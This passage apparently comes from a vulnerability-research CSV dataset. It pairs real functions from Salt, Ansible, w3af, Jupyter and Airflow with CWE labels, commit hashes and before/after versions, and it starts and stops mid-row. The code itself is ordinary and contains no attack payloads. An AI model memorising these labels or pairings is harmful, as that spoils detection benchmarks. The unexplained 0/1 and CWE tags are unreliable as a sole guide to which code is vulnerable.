        information for the directive.  The specific structure of the
        state information depends on the directive type.

        The structure of ``entries`` looks like this::

            [{dn1: [{directive1: directive1_state,
                     directive2: directive2_state},
                    {directive3: directive3_state}],
              dn2: [{directive4: directive4_state,
                     directive5: directive5_state}]},
             {dn3: [{directive6: directive6_state}]}]

        These are the directives:

        * ``'delete_others'``
            Boolean indicating whether to delete attributes not
            mentioned in this dict or any of the other directive
            dicts for this DN.  Defaults to ``False``.

            If you don't want to delete an attribute if present, but
            you also don't want to add it if it is missing or modify
            it if it is present, you can use either the ``'default'``
            directive or the ``'add'`` directive with an empty value
            list.

        * ``'default'``
            A dict mapping an attribute name to an iterable of default
            values for that attribute.  If the attribute already
            exists, it is left alone.  If not, it is created using the
            given list of values.

            An empty value list is useful when you don't want to
            create an attribute if it is missing but you do want to
            preserve it if the ``'delete_others'`` key is ``True``.

        * ``'add'``
            Attribute values to add to the entry.  This is a dict
            mapping an attribute name to an iterable of values to add.

            An empty value list is useful when you don't want to
            create an attribute if it is missing but you do want to
            preserve it if the ``'delete_others'`` key is ``True``.

        * ``'delete'``
            Attribute values to remove from the entry.  This is a dict
            mapping an attribute name to an iterable of values to
            delete from the attribute.  If the iterable is empty, all
            of the attribute's values are deleted.

        * ``'replace'``
            Attributes to replace.  This is a dict mapping an
            attribute name to an iterable of values.  Any existing
            values for the attribute are deleted, then the given
            values are added.  The iterable may be empty.

        In the above directives, the iterables of attribute values may
        instead be ``None``, in which case an empty list is used, or a
        scalar such as a string or number, in which case a new list
        containing the scalar is used.

        Note that if all attribute values are removed from an entry,
        the entire entry is deleted.

    :param connect_spec:
        See the description of the ``connect_spec`` parameter of the
        :py:func:`ldap3.connect <salt.modules.ldap3.connect>` function
        in the :py:mod:`ldap3 <salt.modules.ldap3>` execution module.
        If this is a dict and the ``'url'`` entry is not specified,
        the ``'url'`` entry is set to the value of the ``name``
        parameter.

    :returns:
        A dict with the following keys:

        * ``'name'``
            This is the same object passed to the ``name`` parameter.

        * ``'changes'``
            This is a dict describing the changes made (or, in test
            mode, the changes that would have been attempted).  If no
            changes were made (or no changes would have been
            attempted), then this dict is empty.  Only successful
            changes are included.

            Each key is a DN of an entry that was changed (or would
            have been changed).  Entries that were not changed (or
            would not have been changed) are not included.  The value
            is a dict with two keys:

            * ``'old'``
                The state of the entry before modification.  If the
                entry did not previously exist, this key maps to
                ``None``.  Otherwise, the value is a dict mapping each
                of the old entry's attributes to a list of its values
                before any modifications were made.  Unchanged
                attributes are excluded from this dict.

            * ``'new'``
                The state of the entry after modification.  If the
                entry was deleted, this key maps to ``None``.
                Otherwise, the value is a dict mapping each of the
                entry's attributes to a list of its values after the
                modifications were made.  Unchanged attributes are
                excluded from this dict.

            Example ``'changes'`` dict where a new entry was created
            with a single attribute containing two values::

                {'dn1': {'old': None,
                         'new': {'attr1': ['val1', 'val2']}}}

            Example ``'changes'`` dict where a new attribute was added
            to an existing entry::

                {'dn1': {'old': {},
                         'new': {'attr2': ['val3']}}}

        * ``'result'``
            One of the following values:

            * ``True`` if no changes were necessary or if all changes
              were applied successfully.
            * ``False`` if at least one change was unable to be applied.
            * ``None`` if changes would be applied but it is in test
              mode.
    """"""
    if connect_spec is None:
        connect_spec = {}
    try:
        connect_spec.setdefault(""url"", name)
    except AttributeError:
        # already a connection object
        pass

    connect = __salt__[""ldap3.connect""]

    # hack to get at the ldap3 module to access the ldap3.LDAPError
    # exception class.  https://github.com/saltstack/salt/issues/27578
    ldap3 = inspect.getmodule(connect)

    with connect(connect_spec) as l:

        old, new = _process_entries(l, entries)

        # collect all of the affected entries (only the key is
        # important in this dict; would have used an OrderedSet if
        # there was one)
        dn_set = OrderedDict()
        dn_set.update(old)
        dn_set.update(new)

        # do some cleanup
        dn_to_delete = set()
        for dn in dn_set:
            o = old.get(dn, {})
            n = new.get(dn, {})
            for x in o, n:
                to_delete = set()
                for attr, vals in x.items():
                    if not vals:
                        # clean out empty attribute lists
                        to_delete.add(attr)
                for attr in to_delete:
                    del x[attr]
            if o == n:
                # clean out unchanged entries
                dn_to_delete.add(dn)
        for dn in dn_to_delete:
            for x in old, new:
                x.pop(dn, None)
            del dn_set[dn]

        ret = {
            ""name"": name,
            ""changes"": {},
            ""result"": None,
            ""comment"": """",
        }

        if old == new:
            ret[""comment""] = ""LDAP entries already set""
            ret[""result""] = True
            return ret

        if __opts__[""test""]:
            ret[""comment""] = ""Would change LDAP entries""
            changed_old = old
            changed_new = new
            success_dn_set = dn_set
        else:
            # execute the changes
            changed_old = OrderedDict()
            changed_new = OrderedDict()
            # assume success; these will be changed on error
            ret[""result""] = True
            ret[""comment""] = ""Successfully updated LDAP entries""
            errs = []
            success_dn_set = OrderedDict()
            for dn in dn_set:
                o = old.get(dn, {})
                n = new.get(dn, {})

                try:
                    # perform the operation
                    if o:
                        if n:
                            op = ""modify""
                            assert o != n
                            __salt__[""ldap3.change""](l, dn, o, n)
                        else:
                            op = ""delete""
                            __salt__[""ldap3.delete""](l, dn)
                    else:
                        op = ""add""
                        assert n
                        __salt__[""ldap3.add""](l, dn, n)

                    # update these after the op in case an exception
                    # is raised
                    changed_old[dn] = o
                    changed_new[dn] = n
                    success_dn_set[dn] = True
                except ldap3.LDAPError as err:
                    log.exception(""failed to %s entry %s (%s)"", op, dn, err)
                    errs.append((op, dn, err))
                    continue

            if errs:
                ret[""result""] = False
                ret[""comment""] = ""failed to "" + "", "".join(
                    (op + "" entry "" + dn + ""("" + err.items() + "")"" for op, dn, err in errs)
                )

    # set ret['changes'].  filter out any unchanged attributes, and
    # convert the value sets to lists before returning them to the
    # user (sorted for easier comparisons)
    for dn in success_dn_set:
        o = changed_old.get(dn, {})
        n = changed_new.get(dn, {})
        changes = {}
        ret[""changes""][dn] = changes
        for x, xn in ((o, ""old""), (n, ""new"")):
            if not x:
                changes[xn] = None
                continue
            changes[xn] = {
                attr: sorted(vals)
                for attr, vals in x.items()
                if o.get(attr, ()) != n.get(attr, ())
            }

    return ret"
,UNKNOWN,UNKNOWN,test/units/galaxy/test_api.py,1,"def test_get_collection_version_metadata_no_version(api_version, token_type, version, token_ins, monkeypatch):
    api = get_test_galaxy_api('https://galaxy.server.com/api/', api_version, token_ins=token_ins)

    if token_ins:
        mock_token_get = MagicMock()
        mock_token_get.return_value = 'my token'
        monkeypatch.setattr(token_ins, 'get', mock_token_get)

    mock_open = MagicMock()
    mock_open.side_effect = [
        StringIO(to_text(json.dumps({
            'download_url': 'https://downloadme.com',
            'artifact': {
                'sha256': 'ac47b6fac117d7c171812750dacda655b04533cf56b31080b82d1c0db3c9d80f',
            },
            'namespace': {
                'name': 'namespace',
            },
            'collection': {
                'name': 'collection',
            },
            'version': version,
            'metadata': {
                'dependencies': {},
            }
        }))),
    ]
    monkeypatch.setattr(galaxy_api, 'open_url', mock_open)

    actual = api.get_collection_version_metadata('namespace', 'collection', version)

    assert isinstance(actual, CollectionVersionMetadata)
    assert actual.namespace == u'namespace'
    assert actual.name == u'collection'
    assert actual.download_url == u'https://downloadme.com'
    assert actual.artifact_sha256 == u'ac47b6fac117d7c171812750dacda655b04533cf56b31080b82d1c0db3c9d80f'
    assert actual.version == version
    assert actual.dependencies == {}

    assert mock_open.call_count == 1
    assert mock_open.mock_calls[0][1][0] == '%s%s/collections/namespace/collection/versions/%s/' \
        % (api.api_server, api_version, version)

    # v2 calls dont need auth, so no authz header or token_type
    if token_type:
        assert mock_open.mock_calls[0][2]['headers']['Authorization'] == '%s my token' % token_type",CWE-703,ansible/ansible,43cf40ffe0c43a1ec693938d34a260f4c0e3d011,"def test_get_collection_version_metadata_no_version(api_version, token_type, version, token_ins, monkeypatch):
    api = get_test_galaxy_api('https://galaxy.server.com/api/', api_version, token_ins=token_ins)

    if token_ins:
        mock_token_get = MagicMock()
        mock_token_get.return_value = 'my token'
        monkeypatch.setattr(token_ins, 'get', mock_token_get)

    mock_open = MagicMock()
    mock_open.side_effect = [
        StringIO(to_text(json.dumps({
            'download_url': 'https://downloadme.com',
            'artifact': {
                'sha256': 'ac47b6fac117d7c171812750dacda655b04533cf56b31080b82d1c0db3c9d80f',
            },
            'namespace': {
                'name': 'namespace',
            },
            'collection': {
                'name': 'collection',
            },
            'version': version,
            'metadata': {
                'dependencies': {},
            }
        }))),
    ]
    monkeypatch.setattr(galaxy_api, 'open_url', mock_open)

    actual = api.get_collection_version_metadata('namespace', 'collection', version)

    assert isinstance(actual, CollectionVersionMetadata)
    assert actual.namespace == u'namespace'
    assert actual.name == u'collection'
    assert actual.download_url == u'https://downloadme.com'
    assert actual.artifact_sha256 == u'ac47b6fac117d7c171812750dacda655b04533cf56b31080b82d1c0db3c9d80f'
    assert actual.version == version
    assert actual.dependencies == {}

    assert mock_open.call_count == 1
    assert mock_open.mock_calls[0][1][0] == '%s%s/collections/namespace/collection/versions/%s' \
        % (api.api_server, api_version, version)

    # v2 calls dont need auth, so no authz header or token_type
    if token_type:
        assert mock_open.mock_calls[0][2]['headers']['Authorization'] == '%s my token' % token_type"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/client/__init__.py,0,"def cmd_batch(
            self,
            tgt,
            fun,
            arg=(),
            tgt_type='glob',
            ret='',
            kwarg=None,
            batch='10%',
            **kwargs):
        '''
        Iteratively execute a command on subsets of minions at a time

        The function signature is the same as :py:meth:`cmd` with the
        following exceptions.

        :param batch: The batch identifier of systems to execute on

        :returns: A generator of minion returns

        .. code-block:: python

            >>> returns = local.cmd_batch('*', 'state.highstate', batch='10%')
            >>> for ret in returns:
            ...     print(ret)
            {'jerry': {...}}
            {'dave': {...}}
            {'stewart': {...}}
        '''
        if 'expr_form' in kwargs:
            salt.utils.warn_until(
                'Fluorine',
                'The target type should be passed using the \'tgt_type\' '
                'argument instead of \'expr_form\'. Support for using '
                '\'expr_form\' will be removed in Salt Fluorine.'
            )
            tgt_type = kwargs.pop('expr_form')

        import salt.cli.batch
        arg = salt.utils.args.condition_input(arg, kwarg)
        opts = {'tgt': tgt,
                'fun': fun,
                'arg': arg,
                'tgt_type': tgt_type,
                'ret': ret,
                'batch': batch,
                'failhard': kwargs.get('failhard', False),
                'raw': kwargs.get('raw', False)}

        if 'timeout' in kwargs:
            opts['timeout'] = kwargs['timeout']
        if 'gather_job_timeout' in kwargs:
            opts['gather_job_timeout'] = kwargs['gather_job_timeout']
        if 'batch_wait' in kwargs:
            opts['batch_wait'] = int(kwargs['batch_wait'])

        eauth = {}
        if 'eauth' in kwargs:
            eauth['eauth'] = kwargs.pop('eauth')
        if 'username' in kwargs:
            eauth['username'] = kwargs.pop('username')
        if 'password' in kwargs:
            eauth['password'] = kwargs.pop('password')
        if 'token' in kwargs:
            eauth['token'] = kwargs.pop('token')

        for key, val in six.iteritems(self.opts):
            if key not in opts:
                opts[key] = val
        batch = salt.cli.batch.Batch(opts, eauth=eauth, quiet=True)
        for ret in batch.run():
            yield ret",,saltstack/salt,15693079e8083fc95ef1f30df5e4595611cae2ba,"def cmd_batch(
            self,
            tgt,
            fun,
            arg=(),
            tgt_type='glob',
            ret='',
            kwarg=None,
            batch='10%',
            **kwargs):
        '''
        Iteratively execute a command on subsets of minions at a time

        The function signature is the same as :py:meth:`cmd` with the
        following exceptions.

        :param batch: The batch identifier of systems to execute on

        :returns: A generator of minion returns

        .. code-block:: python

            >>> returns = local.cmd_batch('*', 'state.highstate', batch='10%')
            >>> for ret in returns:
            ...     print(ret)
            {'jerry': {...}}
            {'dave': {...}}
            {'stewart': {...}}
        '''
        if 'expr_form' in kwargs:
            salt.utils.warn_until(
                'Fluorine',
                'The target type should be passed using the \'tgt_type\' '
                'argument instead of \'expr_form\'. Support for using '
                '\'expr_form\' will be removed in Salt Fluorine.'
            )
            tgt_type = kwargs.pop('expr_form')

        import salt.cli.batch
        arg = salt.utils.args.condition_input(arg, kwarg)
        opts = {'tgt': tgt,
                'fun': fun,
                'arg': arg,
                'tgt_type': tgt_type,
                'ret': ret,
                'batch': batch,
                'failhard': kwargs.get('failhard', False),
                'raw': kwargs.get('raw', False)}

        if 'timeout' in kwargs:
            opts['timeout'] = kwargs['timeout']
        if 'gather_job_timeout' in kwargs:
            opts['gather_job_timeout'] = kwargs['gather_job_timeout']

        eauth = {}
        if 'eauth' in kwargs:
            eauth['eauth'] = kwargs.pop('eauth')
        if 'username' in kwargs:
            eauth['username'] = kwargs.pop('username')
        if 'password' in kwargs:
            eauth['password'] = kwargs.pop('password')
        if 'token' in kwargs:
            eauth['token'] = kwargs.pop('token')

        for key, val in six.iteritems(self.opts):
            if key not in opts:
                opts[key] = val
        batch = salt.cli.batch.Batch(opts, eauth=eauth, quiet=True)
        for ret in batch.run():
            yield ret"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/options/tests/test_opt_factory.py,0,"def test_factory_ok(self):
        input_file = self.INPUT_FILE
        output_file = self.INPUT_FILE

        data = {BOOL: [('true', True)],
                INT: [('1', 1)],
                POSITIVE_INT: [('2', 2)],
                FLOAT: [('1.0', 1.0)],
                STRING: [('hello world', 'hello world')],
                URL: [('http://moth/', URL_KLASS('http://moth/'))],
                URL_LIST: [('http://moth/1 , http://moth/2',
                           [URL_KLASS('http://moth/1'),
                            URL_KLASS('http://moth/2')])],
                IPPORT: [('127.0.0.1:8080', '127.0.0.1:8080')],
                LIST: [('a,b,c', ['a', 'b', 'c'])],
                REGEX: [('.*', '.*')],
                COMBO: [(['a', 'b', 'c'], 'a')],
                INPUT_FILE: [(input_file, input_file)],
                OUTPUT_FILE: [(output_file, output_file)],
                PORT: [('12345', 12345)],
                IP: [('127.0.0.1', '127.0.0.1'),
                     (None, None)]
                }

        for _type in data:
            for user_value, parsed_value in data[_type]:
                opt = opt_factory('name', user_value, 'desc', _type,
                                  'help', 'tab1')
    
                self.assertEqual(opt.get_name(), 'name')
                self.assertEqual(opt.get_desc(), 'desc')
                self.assertEqual(opt.get_type(), _type)
                self.assertEqual(opt.get_default_value(), parsed_value)
                self.assertEqual(opt.get_value(), parsed_value)
                self.assertEqual(opt.get_help(), 'help')
                self.assertEqual(opt.get_tabid(), 'tab1')
    
                self.assertIsInstance(opt.get_name(), basestring)
                self.assertIsInstance(opt.get_desc(), basestring)
                self.assertIsInstance(opt.get_type(), basestring)
                self.assertIsInstance(opt.get_help(), basestring)",,andresriancho/w3af,fd3abcf38e632b5b61851773807995c5e764113c,"def test_factory_ok(self):
        input_file = self.INPUT_FILE
        output_file = self.INPUT_FILE

        data = {BOOL: [('true', True),],
                INT: [('1', 1),],
                POSITIVE_INT: [('2', 2),],
                FLOAT: [('1.0', 1.0),],
                STRING: [('hello world', 'hello world'),],
                URL: [('http://moth/', URL_KLASS('http://moth/')),],
                URL_LIST: [('http://moth/1 , http://moth/2',
                           [URL_KLASS('http://moth/1'),
                            URL_KLASS('http://moth/2')]),],
                IPPORT: [('127.0.0.1:8080', '127.0.0.1:8080'),],
                LIST: [('a,b,c', ['a', 'b', 'c']),],
                REGEX: [('.*', '.*'),],
                COMBO: [(['a', 'b', 'c'], 'a'),],
                INPUT_FILE: [(input_file, input_file),],
                OUTPUT_FILE: [(output_file, output_file),],
                PORT: [('12345', 12345),],
                IP: [('127.0.0.1', '127.0.0.1'),
                     (None, None)]
                }

        for _type in data:
            for user_value, parsed_value in data[_type]:
                opt = opt_factory('name', user_value, 'desc', _type,
                                  'help', 'tab1')
    
                self.assertEqual(opt.get_name(), 'name')
                self.assertEqual(opt.get_desc(), 'desc')
                self.assertEqual(opt.get_type(), _type)
                self.assertEqual(opt.get_default_value(), parsed_value)
                self.assertEqual(opt.get_value(), parsed_value)
                self.assertEqual(opt.get_help(), 'help')
                self.assertEqual(opt.get_tabid(), 'tab1')
    
                self.assertIsInstance(opt.get_name(), basestring)
                self.assertIsInstance(opt.get_desc(), basestring)
                self.assertIsInstance(opt.get_type(), basestring)
                self.assertIsInstance(opt.get_help(), basestring)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/capirca_acl.py,0,"def _lookup_element(lst, key):
    """"""
    Find an dictionary in a list of dictionaries, given its main key.
    """"""
    if not lst:
        return {}
    for ele in lst:
        if not ele or not isinstance(ele, dict):
            continue
        if key in ele:
            return ele[key]
    return {}",,saltstack/salt,f41cda17ce6cc0ee54df483f4d5f48cc2b9632e7,"def _lookup_element(lst, key):
    """"""
    Find an dictionary in a list of dictionaries, given its main key.
    """"""
    if not lst:
        return {}
    for ele in lst:
        if not ele or not isinstance(ele, dict):
            continue
        if ele.keys()[0] == key:
            return ele.values()[0]
    return {}"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""preact"", ""index.js""),
        pjoin(components, ""preact-compat"", ""index.js""),
        pjoin(components, ""proptypes"", ""index.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.css""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data",,jupyter/notebook,e7f69cc2d76558ea2513e9d610508875d09207be,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""preact"", ""index.js""),
        pjoin(components, ""preact-compat"", ""index.js""),
        pjoin(components, ""proptypes"", ""index.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.css""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
    }
    
    return package_data"
,UNKNOWN,UNKNOWN,airflow/www/views.py,1,"def trigger(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Triggers DAG Run.""""""
        run_id = request.values.get(""run_id"", """")
        origin = get_safe_url(request.values.get(""origin""))
        unpause = request.values.get(""unpause"")
        request_conf = request.values.get(""conf"")
        request_execution_date = request.values.get(""execution_date"", default=timezone.utcnow().isoformat())
        is_dag_run_conf_overrides_params = conf.getboolean(""core"", ""dag_run_conf_overrides_params"")
        dag = get_airflow_app().dag_bag.get_dag(dag_id)
        dag_orm: DagModel = session.scalar(select(DagModel).where(DagModel.dag_id == dag_id).limit(1))

        # Prepare form fields with param struct details to render a proper form with schema information
        form_fields = {}
        allow_raw_html_descriptions = conf.getboolean(""webserver"", ""allow_raw_html_descriptions"")
        form_trust_problems = []
        for k, v in dag.params.items():
            form_fields[k] = v.dump()
            form_field: dict = form_fields[k]
            # If no schema is provided, auto-detect on default values
            if ""schema"" not in form_field:
                form_field[""schema""] = {}
            form_field_schema: dict = form_field[""schema""]
            if ""type"" not in form_field_schema:
                form_field_value = form_field[""value""]
                if isinstance(form_field_value, bool):
                    form_field_schema[""type""] = ""boolean""
                elif isinstance(form_field_value, int):
                    form_field_schema[""type""] = [""integer"", ""null""]
                elif isinstance(form_field_value, list):
                    form_field_schema[""type""] = [""array"", ""null""]
                elif isinstance(form_field_value, dict):
                    form_field_schema[""type""] = [""object"", ""null""]
            # Mark HTML fields as safe if allowed
            if allow_raw_html_descriptions:
                if ""description_html"" in form_field_schema:
                    form_field[""description""] = Markup(form_field_schema[""description_html""])
                if ""custom_html_form"" in form_field_schema:
                    form_field_schema[""custom_html_form""] = Markup(form_field_schema[""custom_html_form""])
            else:
                if ""description_html"" in form_field_schema and ""description_md"" not in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses HTML description"")
                    form_field[""description""] = form_field_schema.pop(""description_html"")
                if ""custom_html_form"" in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses custom HTML form definition"")
                    form_field_schema.pop(""custom_html_form"")
            if ""description_md"" in form_field_schema:
                form_field[""description""] = wwwutils.wrapped_markdown(form_field_schema[""description_md""])
            # Check for default values and pre-populate
            if k in request.values:
                if form_field_schema.get(""type"", None) in [
                    ""boolean"",
                    ""array"",
                    [""array"", ""null""],
                    ""object"",
                    [""object"", ""null""],
                ]:
                    try:
                        form_field[""value""] = json.loads(request.values.get(k, """"))
                    except JSONDecodeError:
                        flash(
                            f'Could not pre-populate field ""{k}"" due to parsing error of value ""{request.values.get(k)}""'
                        )
                else:
                    form_field[""value""] = request.values.get(k)
        if form_trust_problems:
            flash(
                Markup(
                    ""At least one field in the trigger form uses a raw HTML form definition. This is not allowed for ""
                    ""security. Please switch to markdown description via <code>description_md</code>. ""
                    ""Raw HTML is deprecated and must be enabled via ""
                    ""<code>webserver.allow_raw_html_descriptions</code> configuration parameter. Using plain text ""
                    ""as fallback for these fields. ""
                    f""<ul><li>{'</li><li>'.join(form_trust_problems)}</li></ul>""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""description_html"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use raw HTML in <code>description_html</code> which is deprecated. ""
                    ""Please migrate to <code>description_md</code>.""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""custom_html_form"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use <code>custom_html_form</code> definition. ""
                    ""This is deprecated with Airflow 2.8.0 and will be removed in a future release.""
                ),
                ""warning"",
            )

        ui_fields_defined = any(""const"" not in f[""schema""] for f in form_fields.values())
        show_trigger_form_if_no_params = conf.getboolean(""webserver"", ""show_trigger_form_if_no_params"")

        if not dag_orm:
            flash(f""Cannot find dag {dag_id}"")
            return redirect(origin)

        if dag_orm.has_import_errors:
            flash(f""Cannot create dagruns because the dag {dag_id} has import errors"", ""error"")
            return redirect(origin)

        num_recent_confs = conf.getint(""webserver"", ""num_recent_configurations_for_trigger"")
        recent_runs = session.execute(
            select(DagRun.conf, func.max(DagRun.run_id).label(""run_id""), func.max(DagRun.execution_date))
            .where(
                DagRun.dag_id == dag_id,
                DagRun.run_type == DagRunType.MANUAL,
                DagRun.conf.isnot(None),
            )
            .group_by(DagRun.conf)
            .order_by(func.max(DagRun.execution_date).desc())
            .limit(num_recent_confs)
        )
        recent_confs = {
            run_id: json.dumps(run_conf)
            for run_id, run_conf in ((run.run_id, run.conf) for run in recent_runs)
            if isinstance(run_conf, dict) and any(run_conf)
        }
        render_params = {
